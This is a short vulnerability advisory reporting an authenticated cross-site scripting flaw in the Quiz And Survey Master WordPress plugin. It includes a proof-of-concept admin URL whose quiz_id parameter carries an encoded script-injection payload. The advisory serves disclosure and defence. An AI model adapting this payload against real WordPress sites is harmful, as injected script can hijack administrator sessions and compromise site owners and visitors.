The Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress WordPress plugin was affected by an Authenticated Cross-Site Scripting (XSS) security vulnerability.
http://example.com/wp-admin/admin.php?page=mlw_quiz_results&quiz_id=%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E